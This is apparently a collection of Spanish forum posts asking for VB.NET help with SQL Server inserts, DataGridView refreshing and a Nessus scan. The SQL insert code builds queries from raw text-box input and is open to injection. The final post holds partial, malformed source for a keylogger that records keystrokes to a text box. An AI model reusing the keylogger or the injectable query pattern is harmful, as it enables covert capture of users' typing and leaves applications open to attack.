Mensajes

[Try Catch]

pues facil, si te salta el mensaje que esta en el Try Catch es porque esta ocurriendo una excepción, o sea un error, simplemente hace MsgBox(ex.Message) y te va a mostrar el error verdadero, seguramente esta en el insert.

saludos.

gracias por la respuesta , efectivamente estaba en el insert pues se me habia ocurrido por vago importar una BD de Acces y me daba error en algunos valores de la tabla. solucion crear la tabla directamente en sql.....


muchas gracias!!!!!

Hola vereis tengo un problemilla que no consigo dar con el, debido a mi corta sabiduria con .net

vereis estoy realizando una aplicacion de registro de Clientes y proveedores en una base de datos sql, bien tengo en la base de datos 2 tablas llamadas clientes y proveedores, y tengo 2 formularios de registro uno llamado Clientes y otro Proveedores , tengo creada la conexion a la base de datos y  desde el formulario Proveedores relleno los txtbox y al hacer click en el boton guardar , me guarda el registro correctamente en la tabla de proveedores.

pero en el formulario clientes no guarda el registro en la tabla cliente. le he puesto 3 msgbox uno para requerirme ingresar datos en los campos obligatorios , otro para avisare si se ha realizado el registro y otro para avisarme si no se ha realizado el registro, el caso es q en este formulario de clientes me salta el primer msgbox si tengo todo en blanco, pero cuando relleno los txtbox me salta el tercero, osea el que dice " No se ha podido realizar el registro".... os pongo el codigo del boton guardar:

Código (vbnet) [Seleccionar] Expandir

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim insertar As String
        Dim modifica As SqlCommand
        Dim objeto As New Conectando_BD
        Dim errores As String

        errores = "Ingresar Campos Requeridos"

        Try
            If (TextBox1.Text = "" And TextBox2.Text = "" And TextBox3.Text = "" And ComboBox1.Text = "") Then
                MsgBox(errores)
            Else
                insertar = "insert into dbo.Clientes values ('" & TextBox1.Text & "','" & TextBox2.Text & "','" & TextBox3.Text & "','" & TextBox4.Text & "','" & TextBox5.Text & "','" & TextBox6.Text & "','" & TextBox7.Text & "','" & TextBox8.Text & "','" & TextBox9.Text & "','" & TextBox10.Text & "','" & ComboBox1.Text & "','" & TextBox11.Text & "','" & TextBox12.Text & "','" & TextBox13.Text & "','" & RichTextBox1.Text & "','" & RichTextBox2.Text & "')"
                objeto.conectar_BD()
                modifica = New SqlCommand(insertar, objeto.conectar_BD())
                modifica.ExecuteNonQuery()
                MsgBox("Registro Realizado Correctamente")

                objeto.cerrar_BD()

            End If




        Catch ex As Exception
            MsgBox("No se ha podido realizar el registro")
        End Try
        TextBox1.Text = ""
        TextBox2.Text = ""
        TextBox3.Text = ""
        TextBox4.Text = ""
        TextBox5.Text = ""
        TextBox6.Text = ""
        TextBox7.Text = ""
        TextBox8.Text = ""
        TextBox9.Text = ""
        TextBox10.Text = ""
        ComboBox1.Text = ""
        TextBox11.Text = ""
        TextBox12.Text = ""
        TextBox13.Text = ""

        RichTextBox1.Text = ""
        RichTextBox2.Text = ""

        TextBox1.Focus()










    End Sub


bien tengo el mismo codigo en ambos formularios Clientes y Proveedores exepto "  insertar = "insert into dbo.Clientes values...." donde cada formulario apunta a si respectiva tabla.

y como ya os he dicho en el formulario Proveedores si me completa el registro sin ningun problema.

prodriais iluminarme un poco en donde puede estar el fallo????

gracias de antemano.

un saludo!!!

hola a todos ... vereis estoy empezando con esto de los exploit y vulnerabilidades, resulta que utilizando el nessus escanee una ip y me ha tirado el siguiente log (igual puede que este bien y no haya ningun problema ) pero me parecio un poco curioso



tambien he de decir que el riesgo que marcaba era "Risk: Medium"

bueno solo quisiera saber vuestras opiniones acerca de este log para asi seguir aprendiendo
(tambien quiero agregar que lo poco he pude investigar sobre este servicio me acojono un poco) igual he leido lo que no era, pues como repito estoy empezando y mi meta es aprender

PD: no me  crucifiqueis por mi ignorancia   , un saludo

he probado lo siguiente y en cierto modo me ha funcionado vereis:

Código (vbnet) [Seleccionar] Expandir

Private Sub Form2_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArg... Handles MyBase.FormClosing

MDIParent1.midatagrid.datasource = nombredeldatasource
MDIParent1.midatagrid.refresh ()

end sub

bien esto en el formclosing aparentemente funciona
pero cuando agrego el codigo al boton guardar en el formulario lo que hace es que me refresca todo el datagrid poniendolo en blanco....

Debes de actualizar el datasource y disparar el bind

Saludos

ok si me pudieras explicar bien el codigo x que no tengo ni idea

he pensado en lo siguiente aunq aun no lo he probado:
como tengo el datagridview en un mdiparent he pensado en esto

Código (vbnet) [Seleccionar] Expandir

Private Sub ClientesBindingNavigatorSaveItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientesBindingNavigatorSaveItem.Click
        Me.Validate()
        Me.ClientesBindingSource.EndEdit()
        Me.TableAdapterManager.UpdateAll(Me.BasedeDatosDataSet)
        MDIParent1.Refresh()
       
    End Sub


o bien asi:

Código (vbnet) [Seleccionar] Expandir

Private Sub ClientesBindingNavigatorSaveItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientesBindingNavigatorSaveItem.Click
        Me.Validate()
        Me.ClientesBindingSource.EndEdit()
        Me.TableAdapterManager.UpdateAll(Me.BasedeDatosDataSet)
        MDIParent1.ClientesDataGridView.Refresh()
    End Sub

pero lo dicho no lo he probado aun, he leido lo del bind pero no se exactamente como dispararlo,con respecto al datasoucer al decir actualizar seria "refresh" o "update" por que no lo entiendo dl todo esas acciones...

Con visualizar quieres decir que se refresque el DataGridView como tal, o que se posicione en el registro ingresado?

si que se refresque el DataGridView como tal y me muestre el registro que recientemente ingrese.

Hola Hackeros.net
esta vez traigo un problemilla que creo es facil resolver pero me he dado cuenta que soy muy bruto y no termino de conseguirlo,
vereis estoy creando una aplicacion para registrar clientes en una base de datos en sqlserver mediante visual studio 2010. todo marcha bien el unico inconveniente es el siguiente

atravez de un form hago los registro en la base de datos, y tengo un mdiparent que en el evento load me carga en un datagridview todos los registros de la BD bien, pues lo que intento conseguir es que una vez que yo presione el boton "guardar" en el formulario se me actualize el datagridview que esta en el mdiparent y me visualize el registro que acabo de guardar.

espero haberme xplicado bien y que me podais ayudar.

gracias de antemano!!!
un saludo!! foreros

y FELIZ NAVIDAD!!!!!!

ok lo mirare por el foro pero seguiren tambien con este... nunca viene mal saberlo.
gracias por tu opinion

un saludo!!!

Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.

gracias keyen night
ya lo he  probado y al parecer funciona excepto por que tengo un problema con el timer: no me graba todas las teclas que presiono solo alguna de vez en cuando
he probado con el timer Enable = True y false e intervalo en 1 y 100
pero nada de nada. Coloco el codigo aver si me podeis ayudar
gracias.

Código (vbnet) [Seleccionar] Expandir



Imports System.Runtime.InteropServices
-----------------------------------------------------------------
Public Class Form1

Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
 Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
   Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
   Private ChangeChr(255) As String
---------------------------------------------------------------------
   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       'Letras
       Dim i As Integer
       For i = Asc("A") To Asc("Z")
           If GetAsyncKeyState(i) = -32767 Then
               If GetAsyncKeyState(VK_SHIFT) > 0 Then
                   If GetKeyState(VK_CAPITAL) > 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                       Exit Sub
                   End If
               Else
                   If GetKeyState(VK_CAPITAL) > 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                       Exit Sub
                   End If
               End If
           End If
       Next
       'Numeros
       For i = 48 To 57
           If GetAsyncKeyState(i) = -32767 Then
               If GetAsyncKeyState(VK_SHIFT) < 0 Then
                   RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
                   Exit Sub
               Else
                   RichTextBox1.Text = RichTextBox1.Text & Chr(i)
                   Exit Sub
               End If
           End If
       Next
       'Espacio
       If GetAsyncKeyState(32) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text + " "
       End If
       'Enter
       If GetAsyncKeyState(13) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
       End If
       'Esc
       If GetAsyncKeyState(27) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
       End If
       'Izquierda
       If GetAsyncKeyState(37) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
       End If
       'Arriba
       If GetAsyncKeyState(38) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
       End If
       'Derecha
       If GetAsyncKeyState(39) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Der] "
       End If
       'Abajo
       If GetAsyncKeyState(40) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
       End If
       'Print Screen
       If GetAsyncKeyState(44) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
       End If
       'Re Pag
       If GetAsyncKeyState(33) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
       End If
       'Av Pag
       If GetAsyncKeyState(34) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
       End If
       'Fin Pag
       If GetAsyncKeyState(35) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
       End If
       'Inicio Pag
       If GetAsyncKeyState(36) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
       End If
       'Supr
       If GetAsyncKeyState(46) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
       End If
       'Insert
       If GetAsyncKeyState(45) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
       End If
       'F1
       If GetAsyncKeyState(112) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F1] "
       End If
       'F2
       If GetAsyncKeyState(113) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F2] "
       End If
       'F3
       If GetAsyncKeyState(114) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F3] "
       End If
       'F4
       If GetAsyncKeyState(115) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F4] "
       End If
       'F5
       If GetAsyncKeyState(116) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F5] "
       End If
       'F6
       If GetAsyncKeyState(117) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F6] "
       End If
       'F7
       If GetAsyncKeyState(118) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F7] "
       End If
       'F8
       If GetAsyncKeyState(119) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F8] "
       End If
       'F9
       If GetAsyncKeyState(120) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F9] "
       End If
       'F10
       If GetAsyncKeyState(121) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F10] "
       End If
       'F11
       If GetAsyncKeyState(122) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F11] "
       End If
       'F12
       If GetAsyncKeyState(123) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [F12] "
       End If
       'Alt
       If GetAsyncKeyState(164) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
       End If
       'Num Lock
       If GetAsyncKeyState(144) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
       End If
       'Bloq mayús
       If GetAsyncKeyState(20) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
       End If
       'ñ
       If GetAsyncKeyState(164) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "ñ"
       End If
       'Ñ
       If GetAsyncKeyState(240) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "Ñ"
       End If
       '"."
       If GetAsyncKeyState(190) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & "."
       End If
       '","
       If GetAsyncKeyState(188) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & ","
       End If
       '"Alt Gr"
       If GetAsyncKeyState(165) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
       End If
       '"Del"
       If GetAsyncKeyState(8) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Del] "
       End If
       '"Tab"
       If GetAsyncKeyState(9) = -32767 Then
           RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
       End If
   End Sub

hola de nuevo vereis estoy intentando hacer un keylogger basico  pero cuando depuro el programa se detiene...
lo curioso es que le paso el run code analysis y si admito que me saltan 5 warnings...
pero no se si sea motivo para que se detenga....



espero que me podais ayudar...
hay se ve una parte del codigo
por si os vale de ayuda

gracias de antemano....